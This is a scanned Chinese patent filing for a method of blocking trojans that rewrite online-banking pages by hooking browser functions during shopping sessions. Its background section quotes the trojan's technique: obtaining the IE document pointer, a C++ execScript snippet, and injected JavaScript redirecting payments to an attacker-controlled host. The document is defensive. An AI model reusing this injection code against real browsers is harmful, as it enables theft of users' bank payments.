一种对修改网页元素的恶意程序进行拦截的方法及装置的制作方法

文档序号:6366760阅读:207来源:国知局
专利名称:一种对修改网页元素的恶意程序进行拦截的方法及装置的制作方法
技术领域
本发明涉及计算机技术领域,尤其涉及ー种对修改网页元素的恶意程序进行拦截的方法及装置。
背景技术
随着电子商务的发展,网上购物也越来越普及,火热的网购促销活动吸引了大量消费者下单,但各种恶意程序,例如病毒木马却时刻威胁着网民的购物安全,例如,ー种名为“网银大盗”的网购木马及其变种,利用某知名播放器组件加载木马,由正常软件作为木马加载器和保护伞,从而导致绝大多数杀毒软件拦截失效。该木马运行后,会偷偷篡改网上支付金额和收款账户,把受害者的网银资金劫持到黑客账户中。
买家在促销活动中容易放松警惕,如果点击运行了“网银大盗”,购物支付页面就会被木马篡改。与早期的网购木马不同,“网银大盗”不仅劫持支付资金流向,还会数百倍放大支付金額,使网民蒙受更惨重的经济损失。由此可见,如何提供一种针对修改网页元素的木马进行拦截的机制,已经成为业界亟待解决的问题。

发明内容
本发明所要解决的技术问题在于提供ー种对修改网页元素的恶意程序进行拦截的方法及装置,已对各种新型的网购恶意程序进行拦截,保障网民的资金安全。为解决上述技术问题,本发明提供ー种对修改网页元素的恶意程序进行拦截的方法,包括如下步骤侦测到客户端浏览器启动后,在预设的浏览器模块中对预设函数的调用进行监控;侦测到客户端浏览器打开预设网站的网页时,根据预设策略,拒绝任何程序对所述被监控的预设函数的调用,直至该网页被关闭。本发明还ー种对修改网页元素的恶意程序进行拦截的装置,包括监控模块,用于在侦测到客户端浏览器启动后,在预设的浏览器模块中对预设函数的调用进行监控;拦截模块,用于在侦测到客户端浏览器打开预设网站的网页时,根据预设策略,拒绝任何程序对所述被监控的预设函数的调用,直至该网页被关闭。应用本申请的实施例,可在源头上防止恶意程序获取操作网页元素的指针,避免木马对网页元素的篡改,为网民提供了安全的网购环境。


为了更清楚地说明本发明实施例的技术方案,下面将对实施例描述中所需要使用的附图作简单地介绍,显而易见地,下面描述中的附图仅仅是本发明的一些实施例,对于本领域普通技术人员来讲,在不付出创造性劳动的前提下,还可以根据这些附图获得其他的附图。图I为根据本发明的实施例所示的对修改网页元素的木马进行拦截的方法流程示意图。图2为根据本发明的实施例所示的对修改网页元素的木马进行拦截的装置结构示意图。
具体实施例方式下面将结合本发明实施例中的附图,对本发明实施例中的技术方案进行清楚、完整地描述,显然,所描述的实施例仅仅是本发明一部分实施例,而不是全部的实施例。基于本发明中的实施例,本领域普通技术人员在没有做出创造性劳动前提下所获得的所有其他实施例,都属于本发明保护的范围。为了便于理解本申请技术方案的拦截原理,本说明书以木马为例,先描述ー下此类网购恶意程序盗取财产的方式I、在启动后,会循环执行,FindWindow查找IE窗ロ,向其发送WM_HTML_GETOBJECT得到对应的CDOC指针;2、通过该指针在网页中嵌入自己定制的JS脚本,来获取网银页面内容,进行跳转
篡改;例如,当用户访问“中国エ商银行”网页时,木马会动态获取此时的网页源码,查找其中的RMB (即充值金额)等信息,拼接出跳向自己充值账户网址的JS脚本" document, write、" <,script>window. location, href = ' http://abank.corsgate. com money = lOO&bank = ICBC&user = ' ;</script)A ノ 〃 通过以下代码执行JS:if (pDocument)
{
CComQIPtr <IHTMLWindow2> pHTMLWnd; pDocument-〉get_parentWindow( &pHTMLWnd );
if ( pHTMLWnd != NULL )
{
CComBSTR bstrjs = strjs.AllocSysStringQ;
CComBSTR bstrlan = SysAllocString(L "javascript");VARIANT varRet;
pHTMLWnd-〉execScript(bstrjs, bstrlan, &varRet);
}
}3、执行完木马的JS后网页会发生跳转,经过3次如下跳转,速度很快http://abank. corsgate. com/ebanK3. asphttp://interface2.game2.cn/ view = pay formhttps://www. yeepay. com/app-merchant-proxy/createOrder. action在3次跳转过程中,木马会监控这3个网址,继续插入JS动态修改,导致最終又回到中国エ商银行的交易界面。此时充值帐号已经变为木马作者的帐号,充值金额也随机发生变化。但呈现给用户的界面是无法察觉到的。通过深入细致的研究,本申请的发明人发现所有的网购木马要想篡改IE内核浏览器的页面元素,必须首先通过ー个特定的函数来远程获取操作IE浏览器的指针,有了该指针,就像得到了一把万能钥匙,可随意操作网页的一切信息,从而更改支付账户、支付金额的手段变得多种多样,轻而易举。只要不让木马获得这把万能钥匙,就可以让这种木马失效。为此,本发明实施例首先提供ー种对修改网页元素的木马进行拦截的方法,如图I所示,首先,在侦测到客户端浏览器启动后,在预设的浏览器模块中对预设函数的调用进行监控(步骤101);然后,侦测到客户端浏览器打开预设网站的网页时,根据预设策略,拒绝任何程序对所述被监控的预设函数的调用,直至该网页被关闭(步骤102)。在检测到该网页被关闭后,即可认为用户退出了网购模式,这时,就可以恢复到正常的监控等级,只对特定函数的调用进行监控而不是拒绝。其中,所述预设的浏览器模块可以包括Safemon. dll。所述预设函数可以是包括进程间windows消息通信过程中转换消息对象的函数,例如 OLEACC ! LresultFromObject 函数。所述预设策略,可以包括对被监控的函数调用进行分析,当该函数的參数符合预设消息类型时,拒绝任何程序对所述被监控的预设函数的调用。
所述预设消息类型,可以包括IID_IHTMLDocument2。该函数的參数ー标记着不同的消息类型,只有当其符合IID_IHTMLD0Cument2消息类型时,才进行拒绝,因为IID_IHTMLD0CUment2的消息类型表明其他进程(可能是网购木马)想通过给IE发送这个消息来获取操作IE网页元素的对象,几乎没有正常程序会去执行这样的操作。如此ー来,通过在IE内核浏览器的核心模块Safemon. dlI中拦截OLEACC !LresultFromObject函数(例如,通过对该函数进行Inline Hook操作实现拦截过滤),当用户进入网购模式时,可杜绝任何程序对该函数的调用,即从源头上防止了木马获取操作网页元素的指针。而且,根据本申请的实施例,在浏览器启动后即会对预设函数进行监控,但此时尚未进行拦截,而当浏览器进入网购模式(即打开了预设网站,也就是说输入的网络地址与预设列表中的地址一致)时进行拦截,响应速度快,保障了用户体验。 OLEACC ! LresultFromOb ject函数是进程间windows消息通信过程中转换消息对象的ー类函数,本申请的实施例仅以此为例进行说明,不排除Windows将来升级后引入的其他此类函数。同理,IE内核浏览器的核心模块Safemon. dll也是当前技术版本下的实例之一,不排除将来会引入其他包含有该类函数的模块。此外,还可以针对其他特定函数设置拦截点,例如,所述预设函数还可以包括以下函数中的一种或多种CBase: :put_String, CIput: :put_value, get_Document、Navigate,Navigate2,由于这些函数可以操作网页的页面元素,例如对网页元素进行写入等操作,因此需要拦截这些函数,可以避免用户的网银页面被恶意程序篡改。而所述预设策略还可以包括拒绝任何程序对所述被监控的预设函数的远程过程调用。对于普通的网购木马,IE通过 safemon. dll Inline Hook CBase: :put_String,,当进入网购模式(即浏览器访问某些特定的购物网站的网页时)时拒绝远程过程调用(RPC调用,是操作系统用于进程间通信的一种机制),可拦截绝大部分通过RPC方式修改网页元素的木马。例如,通过以下方式的调用来修改网页最终都经过mshtml ! CBase: :put_Stringmshtml ! CInput::s_apfnpdIHTMLInputElement函数虚表中的9号put_valuemshtml ! CFormElement: : s_apfnpdIHTMLFormElement函数虚表中的7号put_action...而在IE9下还可以增加一个拦截点Inline Hook CIput: :put_value,当进入网购模式时,拒绝RPC调用;此外,还可以包括对get_Document、Navigate、Navigate2这些函数的拦截防护。如此,即可进ー步拦截木马对网页元素的篡改。相对应的,本申请还提供ー种对修改网页元素的木马进行拦截的装置,请參考图2,包括监控模块201及拦截模块202,其中监控模块201,用于在侦测到客户端浏览器启动后,在预设的浏览器模块中对预设函数的调用进行监控;
拦截模块202,用于在侦测到客户端浏览器打开预设网站的网页时,根据预设策略,拒绝任何程序对所述被监控的预设函数的调用,直至该网页被关闭。其中,所述预设的浏览器模块可以包括Safemon. dll。所述预设函数可以包括进程间windows消息通信过程中转换消息对象的函数。所述预设函数可以包括OLEACC ! LresultFromObject函数。所述拦截模块202执行的预设策略,可以包括对被监控的函数调用进行分析,当该函数的參数符合预设消息类型时,拒绝任何程序对所述被监控的预设函数的调用。所述预设消息类型可以包括IID_IHTMLDocument2。所述预设函数可以包括以下函数中的ー种或多种CBase: :put_String, CIput::put_vaiue, get_Document、Navigate, Navigate2。所述拦截模块202执行的预设策略,还可以包括拒绝任何程序对所述被监控的预设函数的远程过程调用。上述装置实施例的各部分运作细节与有效效果,与上述方法实施例的相应部分具有对应关系,在此不再赘述。本说明书中的各个实施例均采用递进的方式描述,每个实施例重点说明的都是与其他实施例的不同之处,各个实施例之间相同相似的部分互相參见即可。本申请可以在由计算机执行的计算机可执行指令的一般上下文中描述,例如程序模块。一般地,程序模块包括执行特定任务或实现特定抽象数据类型的例程、程序、对象、组件、数据结构等等。也可以在分布式计算环境中实践本申请,在这些分布式计算环境中,由通过通信网络而被连接的远程处理设备来执行任务。在分布式计算环境中,程序模块可以位于包括存储设备在内的本地和远程计算机存储介质中。最后,还需要说明的是,在本文中,诸如第一和第二等之类的关系术语仅仅用来将一个实体或者操作与另ー个实体或操作区分开来,而不一定要求或者暗示这些实体或操作之间存在任何这种实际的关系或者顺序。而且,术语“包括”、“包含”或者其任何其他变体意在涵盖非排他性的包含,从而使得包括一系列要素的过程、方法、商品或者设备不仅包括那些要素,而且还包括没有明确列出的其他要素,或者是还包括为这种过程、方法、商品或
者设备所固有的要素。在没有更多限制的情况下,由语句“包括ー个......”限定的要素,
并不排除在包括所述要素的过程、方法、商品或者设备中还存在另外的相同要素。以上对本申请进行了详细介绍,本文中应用了具体个例对本申请的原理及实施方式进行了阐述,以上实施例的说明只是用于帮助理解本申请的方法及其核心思想;同时,对于本领域的一般技术人员,依据本申请的思想,在具体实施方式
及应用范围上均会有改变之处,综上所述,本说明书内容不应理解为对本申请的限制。
权利要求
1.一种对修改网页元素的恶意程序进行拦截的方法,其特征在于,包括如下步骤 侦测到客户端浏览器启动后,在预设的浏览器模块中对预设函数的调用进行监控; 侦测到客户端浏览器打开预设网站的网页时,根据预设策略,拒绝任何程序对所述被监控的预设函数的调用,直至该网页被关闭。
2.如权利要求I所述的方法,其特征在于,所述预设的浏览器模块包括Safemon.dll。
3.如权利要求I所述的方法,其特征在于,所述预设函数包括进程间windows消息通信过程中转换消息对象的函数。
4.如权利要求I或3所述的方法,其特征在于,所述预设函数包括OLEACC!LresultFromObject 函数。
5.如权利要求I所述的方法,其特征在于,所述预设策略,包括对被监控的函数调用进行分析,当该函数的参数符合预设消息类型时,拒绝任何程序对所述被监控的预设函数的调用。
6.如权利要求5所述的方法,其特征在于,所述预设消息类型包括IID_HTMLDocument20
7.如权利要求I所述的方法,其特征在于,所述预设函数包括以下函数中的一种或多种CBase::put_String, CIput::put_value, get_Document、Navigate, Navigate2。
8.如权利要求7所述的方法,其特征在于,所述预设策略包括拒绝任何程序对所述被监控的预设函数的远程过程调用。
9.一种对修改网页元素的恶意程序进行拦截的装置,其特征在于,包括 监控模块,用于在侦测到客户端浏览器启动后,在预设的浏览器模块中对预设函数的调用进行监控; 拦截模块,用于在侦测到客户端浏览器打开预设网站的网页时,根据预设策略,拒绝任何程序对所述被监控的预设函数的调用,直至该网页被关闭。
10.如权利要求9所述的装置,其特征在于,所述预设的浏览器模块包括Safemon.dll。
11.如权利要求9所述的装置,其特征在于,所述预设函数包括进程间windows消息通信过程中转换消息对象的函数。
12.如权利要求9或11所述的装置,其特征在于,所述预设函数包括OLEACC!LresultFromObject 函数。
13.如权利要求9所述的装置,其特征在于,所述拦截模块执行的预设策略,包括对被监控的函数调用进行分析,当该函数的参数符合预设消息类型时,拒绝任何程序对所述被监控的预设函数的调用。
14.如权利要求13所述的装置,其特征在于,所述预设消息类型包括IID_HTMLDocument20
15.如权利要求9所述的装置,其特征在于,所述预设函数包括以下函数中的一种或多种CBase::put_String, CIput::put_value, get_Document、Navigate, Navigate2。
16.如权利要求15所述的装置,其特征在于,所述拦截模块执行的预设策略,包括拒绝任何程序对所述被监控的预设函数的远程过程调用。
全文摘要
本发明公开了一种对修改网页元素的恶意程序进行拦截的方法及装置,所述方法包括侦测到客户端浏览器启动后,在预设的浏览器模块中对预设函数的调用进行监控;然后侦测到客户端浏览器打开预设网站的网页时,根据预设策略,拒绝任何程序对所述被监控的预设函数的调用,直至该网页被关闭。应用本申请的实施例,可在源头上防止恶意程序获取操作网页元素的指针,避免木马对网页元素的篡改,为网民提供了安全的网购环境。
文档编号G06F21/00GK102663289SQ201210078508
公开日2012年9月12日 申请日期2012年3月22日 优先权日2012年3月22日
发明者向明, 宁敢, 肖锐, 肖鹏 申请人:奇智软件(北京)有限公司
网友询问留言 已有0条留言
  • 还没有人留言评论。精彩留言会获得点赞!
1